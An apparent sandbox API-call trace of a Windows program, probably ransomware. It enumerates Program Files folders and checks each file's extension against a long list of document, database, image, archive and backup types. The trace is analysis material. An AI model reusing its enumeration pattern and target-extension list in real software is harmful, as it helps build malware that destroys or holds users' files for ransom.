	[0180.947] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0180.947] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0180.982] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0180.982] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0180.983] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0180.983] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\en-US\\*", lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e868
	[0180.983] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa9258521, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0180.983] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1
	[0180.983] FindNextFileW (in: hFindFile=0x76e868, lpFindFileData=0x372f308 | out: lpFindFileData=0x372f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x78f57a4e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xdfcde00, ftLastWriteTime.dwHighDateTime=0x1d29fad, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0
	[0180.983] FindClose (in: hFindFile=0x76e868 | out: hFindFile=0x76e868) returned 1
	[0180.983] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4094fb8 | out: hHeap=0x710000) returned 1
	[0180.983] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b88afa, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b88afa, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b88afa, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689bee27, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689bee27, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689bee27, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x376a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68b62893, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x68b62893, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x68b62893, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x136c70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x687102e9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x687102e9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x687102e9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xef500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x689e508b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x689e508b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x689e508b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3776, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceTigrinya.txt", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a1bd11b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6a1bd11b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6a1bd11b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb072, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0
	[0180.984] FindClose (in: hFindFile=0x76e9e8 | out: hFindFile=0x76e9e8) returned 1
	[0180.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x40b0028 | out: hHeap=0x710000) returned 1
	[0180.984] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa9257555, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0
	[0180.984] FindClose (in: hFindFile=0x76e6a8 | out: hFindFile=0x76e6a8) returned 1
	[0180.984] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3ff2740 | out: hHeap=0x710000) returned 1
	[0180.986] FindNextFileW (in: hFindFile=0x76ec28, lpFindFileData=0x372fa7c | out: lpFindFileData=0x372fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1
	[0180.986] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x3ff2740
	[0180.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e9e8
	[0181.019] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e8686d2, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e8686d2, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0181.019] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa09505f0, ftCreationTime.dwHighDateTime=0x1d5cdc5, ftLastAccessTime.dwLowDateTime=0xa2a78c60, ftLastAccessTime.dwHighDateTime=0x1d5993a, ftLastWriteTime.dwLowDateTime=0xa2a78c60, ftLastWriteTime.dwHighDateTime=0x1d5993a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="centralcreditcard.exe", cAlternateFileName="CENTRA~1.EXE")) returned 1
	[0181.019] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3d3f830, ftCreationTime.dwHighDateTime=0x1d584be, ftLastAccessTime.dwLowDateTime=0xe883d290, ftLastAccessTime.dwHighDateTime=0x1d55b67, ftLastWriteTime.dwLowDateTime=0xe883d290, ftLastWriteTime.dwHighDateTime=0x1d55b67, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="citizenship.exe", cAlternateFileName="CITIZE~1.EXE")) returned 1
	[0181.019] FindNextFileW (in: hFindFile=0x76e9e8, lpFindFileData=0x372f800 | out: lpFindFileData=0x372f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0181.019] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x40b0028
	[0181.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0181.020] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa92ab93a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0181.020] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3525a5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe47aa00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1
	[0181.021] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x372f584 | out: lpFindFileData=0x372f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d08f33b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x10aa0400, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1
	[0181.021] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16
	[0181.021] lstrlenW (lpString=".1cd") returned 4
	[0181.021] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".3ds") returned 4
	[0181.021] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".3fr") returned 4
	[0181.021] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".3g2") returned 4
	[0181.021] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".3gp") returned 4
	[0181.021] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".7z") returned 3
	[0181.021] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0181.021] lstrlenW (lpString=".accda") returned 6
	[0181.021] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".accdb") returned 6
	[0181.021] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".accdc") returned 6
	[0181.021] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".accde") returned 6
	[0181.021] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".accdt") returned 6
	[0181.021] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".accdw") returned 6
	[0181.021] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0181.021] lstrlenW (lpString=".adb") returned 4
	[0181.021] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".adp") returned 4
	[0181.021] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".ai") returned 3
	[0181.021] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0181.021] lstrlenW (lpString=".ai3") returned 4
	[0181.021] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0181.021] lstrlenW (lpString=".ai4") returned 4
	[0181.021] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".ai5") returned 4
	[0181.022] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".ai6") returned 4
	[0181.022] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".ai7") returned 4
	[0181.022] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".ai8") returned 4
	[0181.022] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".anim") returned 5
	[0181.022] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0181.022] lstrlenW (lpString=".arw") returned 4
	[0181.022] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".as") returned 3
	[0181.022] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0181.022] lstrlenW (lpString=".asa") returned 4
	[0181.022] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".asc") returned 4
	[0181.022] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".ascx") returned 5
	[0181.022] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0181.022] lstrlenW (lpString=".asm") returned 4
	[0181.022] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".asmx") returned 5
	[0181.022] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0181.022] lstrlenW (lpString=".asp") returned 4
	[0181.022] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".aspx") returned 5
	[0181.022] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0181.022] lstrlenW (lpString=".asr") returned 4
	[0181.022] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".asx") returned 4
	[0181.022] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".avi") returned 4
	[0181.022] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".avs") returned 4
	[0181.022] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0181.022] lstrlenW (lpString=".backup") returned 7
	[0181.023] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0181.023] lstrlenW (lpString=".bak") returned 4
	[0181.023] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".bay") returned 4
	[0181.023] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".bd") returned 3
	[0181.023] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0181.023] lstrlenW (lpString=".bin") returned 4
	[0181.023] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".bmp") returned 4
	[0181.023] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".bz2") returned 4
	[0181.023] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".c") returned 2
	[0181.023] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0181.023] lstrlenW (lpString=".cdr") returned 4
	[0181.023] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".cer") returned 4
	[0181.023] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".cf") returned 3
	[0181.023] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0181.023] lstrlenW (lpString=".cfc") returned 4
	[0181.023] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".cfm") returned 4
	[0181.023] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".cfml") returned 5
	[0181.023] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0181.023] lstrlenW (lpString=".cfu") returned 4
	[0181.023] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".chm") returned 4
	[0181.023] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0181.023] lstrlenW (lpString=".cin") returned 4
	[0181.023] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".class") returned 6
	[0181.024] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0181.024] lstrlenW (lpString=".clx") returned 4
	[0181.024] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".config") returned 7
	[0181.024] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0181.024] lstrlenW (lpString=".cpp") returned 4
	[0181.024] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".cr2") returned 4
	[0181.024] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".crt") returned 4
	[0181.024] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".crw") returned 4
	[0181.024] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".cs") returned 3
	[0181.024] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0181.024] lstrlenW (lpString=".css") returned 4
	[0181.024] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".csv") returned 4
	[0181.024] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".cub") returned 4
	[0181.024] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".dae") returned 4
	[0181.024] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".dat") returned 4
	[0181.024] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0181.024] lstrlenW (lpString=".db") returned 3
	[0181.024] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0181.024] lstrlenW (lpString=".dbf") returned 4
	[0181.025] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dbx") returned 4
	[0181.025] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dc3") returned 4
	[0181.025] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dcm") returned 4
	[0181.025] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dcr") returned 4
	[0181.025] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".der") returned 4
	[0181.025] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dib") returned 4
	[0181.025] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dic") returned 4
	[0181.025] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dif") returned 4
	[0181.025] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".divx") returned 5
	[0181.025] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0181.025] lstrlenW (lpString=".djvu") returned 5
	[0181.025] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0181.025] lstrlenW (lpString=".dng") returned 4
	[0181.025] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".doc") returned 4
	[0181.025] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".docm") returned 5
	[0181.025] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0181.025] lstrlenW (lpString=".docx") returned 5
	[0181.025] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0181.025] lstrlenW (lpString=".dot") returned 4
	[0181.025] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0181.025] lstrlenW (lpString=".dotm") returned 5
	[0181.025] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0181.025] lstrlenW (lpString=".dotx") returned 5
	[0181.026] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0181.026] lstrlenW (lpString=".dpx") returned 4
	[0181.026] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dqy") returned 4
	[0181.026] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dsn") returned 4
	[0181.026] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dt") returned 3
	[0181.026] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0181.026] lstrlenW (lpString=".dtd") returned 4
	[0181.026] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dwg") returned 4
	[0181.026] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dwt") returned 4
	[0181.026] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".dx") returned 3
	[0181.026] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0181.026] lstrlenW (lpString=".dxf") returned 4
	[0181.026] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0181.026] lstrlenW (lpString=".edml") returned 5
	[0181.026] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0181.026] lstrlenW (lpString=".efd") returned 4
